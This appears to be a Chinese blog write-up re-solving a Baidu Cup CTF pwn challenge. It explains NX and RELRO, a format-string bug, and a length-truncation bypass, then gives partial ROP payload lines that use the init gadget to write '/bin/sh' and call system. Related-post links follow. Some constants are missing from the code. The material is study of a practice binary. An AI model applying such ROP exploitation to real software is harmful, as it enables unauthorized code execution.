百度杯 十一月 的一道pwn题复现
拿到题后,就直接开鲁。。
/ctf/pwn# checksec pwnme
[*] '/ctf/pwn/pwnme'
Arch: amd64--little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开了 NX和ERLRO。
NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
RelRO:设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。
int __fastcall show(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
printf(&formata, a2, a3, a4, a5, a6); // //printf name
return printf((const char *)&a9 + );
} // // printf pwdname
很明显的一个格式化字符串的漏洞。
然后想到了泄露,但是实战能力不足,不会怎么用,所以就跟着大佬的writeup 慢慢复现。
if ( (_BYTE)read_new_pwdlength && (unsigned __int8)read_new_pwdlength <= 20u )// //这里会截断
{
memset((char *)&desta + , , 0x14uLL);
sub_400A90(tmp_pwd_buf, read_new_pwdlength);
memcpy((char *)&desta + , tmp_pwd_buf, read_new_pwdlength);
这个有个 截断 ,在int 转化成BYTE的时候只会保留后面的一个字节。所以可以用0x101 绕过。
剩下的思路就是利用init_main,调用read 往.bss 段写/bin/sh\x00
再调用system。
但是rop的构建有很多不理解的,于是我就一个个 去调试,
payload += p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64()
payload += p64(init_gadget) + p64(0x8) * #pad 可以测出来。 payload += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr)
前面的
p64(pop_pop_pop_pop_po_ret) + p64(0x1) + p64(0x601FC8) + p64(0x8) + p64(bin_sh_addr) + p64(0) 是赋值,然后满足条件就执行。
loc_400EB0: ; CODE XREF: init+↓j
.text:0000000000400EB0 mov rdx, r13
.text:0000000000400EB3 mov rsi, r14
.text:0000000000400EB6 mov edi, r15d
.text:0000000000400EB9 call qword ptr [r12+rbx*] //执行这个
.text:0000000000400EBD add rbx,
.text:0000000000400EC1 cmp rbx, rbp
.text:0000000000400EC4 jnz short loc_400EB0
.text:0000000000400EC6
.text:0000000000400EC6 loc_400EC6: ; CODE XREF: init+↑j
.text:0000000000400EC6 add rsp,
.text:0000000000400ECA pop rbx
.text:0000000000400ECB pop rbp
.text:0000000000400ECC pop r12
.text:0000000000400ECE pop r13
.text:0000000000400ED0 pop r14
.text:0000000000400ED2 pop r15
.text:0000000000400ED2 init endp
后面的
p64(0x8) * 7对应了下面的几个,然后跳到 system去
.text:0000000000400EC6 add rsp,
.text:0000000000400ECA pop rbx
.text:0000000000400ECB pop rbp
.text:0000000000400ECC pop r12
.text:0000000000400ECE pop r13
.text:0000000000400ED0 pop r14
.text:0000000000400ED2 pop r15
至于前面的A*0x28是从IDA调试出来的,刚刚好覆盖到ebp,然后下一个就是返回地址了
这次的学习,让我知道自己的调试的能力很差 ,还有构建rop的想法不够。动手能力欠缺。
百度杯 十一月 的一道pwn题复现的更多相关文章
- HCTF2018 pwn题复现
相关文件位置 https://gitee.com/hac425/blog_data/tree/master/hctf2018 the_end 程序功能为,首先 打印出 libc 的地址, 然后可以允许 ...
- “百度杯”CTF比赛 十月场 Hash 复现
进入题后老套路得到两个关键: 1.$hash=md5($sign.$key);the length of $sign is 8 2.key=123&hash=f9109d5f83921a551 ...
- 十一月百度杯pwnme 详细wp
目录 程序基本信息 程序溢出点 整体思路 exp脚本 成功获得flag 参考 程序基本信息 可以看到开启了栈不可执行和got表不可写保护. 程序溢出点 在函数sub_400AF7中,v8可以读入0x1 ...
- 由一道CTF pwn题深入理解libc2.26中的tcache机制
本文首发安全客:https://www.anquanke.com/post/id/104760 在刚结束的HITB-XCTF有一道pwn题gundam使用了2.26版本的libc.因为2.26版本中加 ...
- [原题复现]百度杯CTF比赛 十月场 WEB EXEC(PHP弱类型)
简介 原题复现: 考察知识点:PHP弱类型. 线上平台:https://www.ichunqiu.com/battalion(i春秋 CTF平台) 过程 看源码发现这个 vim泄露 下方都试了 ...
- pwn200,一道不完全考察ret2libc的小小pwn题
pwn200 ---XDCTF-2015 每日一pwn,今天又做了一个pwn,那个pwn呢???攻防世界的进阶区里的一道小pwn题,虽然这个题考察的知识不多,rop链也比较好构建,但是还是让我又学到了 ...
- [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)
简介 原题复现: 考察知识点:SSRF.反序列化.SQL注入 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...
- “百度杯”CTF比赛 2017 二月场(Misc Web)
爆破-1: 打开链接,是502 我直接在后面加个变量传参数:?a=1 出了一段代码 var_dump()函数中,用了$$a,可能用了超全局变量GLOBALS 给hello参数传个GLOBALS 得到f ...
- 2017 百度杯丶二月场第一周WP
1.祸起北荒 题目: 亿万年前 天子之子华夜,被父神之神末渊上神告知六荒十海之北荒西二旗即将发生一场"百度杯"的诸神之战 他作为天族的太子必须参与到此次诸神之战定六荒十海 华夜临危 ...
随机推荐
- LeetCode108——Convert Sorted Array to Binary Search Tree
题目: Given an array where elements are sorted in ascending order, convert it to a height balanced BST ...
- vue,element列表大数据卡顿问题,vue列表渲染慢,element表格渲染慢,表格渲染慢(卡),表格全选卡
https://github.com/livelyPeng/pl-table 一个表格组件(完美解决万级数据渲染卡顿问题),流畅渲染万级数据并不会影响到el-table的原有功能 分析: 前端UI框架 ...
- abp(net core)+easyui+efcore实现仓储管理系统——EasyUI之货物管理六(二十四)
abp(net core)+easyui+efcore实现仓储管理系统目录 abp(net core)+easyui+efcore实现仓储管理系统——ABP总体介绍(一) abp(net core)+ ...
- Java并发入门之FutureTask
Java并发入门之FutureTask 前言: 最近遇到一个项目需要上传图片到服务器,API要求是二进制流,那就跑慢点一点点上传. 于是对多线程从没有应用过的我,决定拿多线程直接应用于代码. 应用Ex ...
- 函数基础(一)(day10整理)
目录 昨日内容 文件的基本应用 什么是文件 操作文件的流程 打开文件的三种模式 文件打开的两种方式 绝对路径和相对路径 绝对路径 相对路径 with管理文件上下文 文件的高级应用 新的打开文件的模式 ...
- unityweb Request请求
UnityWebRequest是新的网络请求Api,分为LLApi和HLApi,其中LLApi为低级api,所谓低级api是指只是提供最基本的api接口,然后需要通过不同的参数来确定请求方式.为此un ...
- rsync的笔记整理
Rsyncd数据同步工具 1.什么是Rsyncs? Rsync(Remote synchronization)是一款开源的,快速的,多功能的,可实现全量及增量的本地或远程数据同步备份的优秀工具.Rsy ...
- 这一次,终于系统的学习了 JVM 内存结构
最近在看< JAVA并发编程实践 >这本书,里面涉及到了 Java 内存模型,通过 Java 内存模型顺理成章的来到的 JVM 内存结构,关于 JVM 内存结构的认知还停留在上大学那会的课 ...
- JAVA中的NIO (New IO)
简介 标准的IO是基于字节流和字符流进行操作的,而JAVA中的NIO是基于Channel和Buffer进行操作的. 传统IO graph TB; 字节流 --> InputStream; 字节流 ...
- Redis bin目录和info命令
1.Redis bin目录和info命令 概述: bin目录是说我们的redis的安装目录中的bin目录,里面存放着一些可执行文件 info命令会列出当前连接的Redis实例的所有指标信息 下面我就对 ...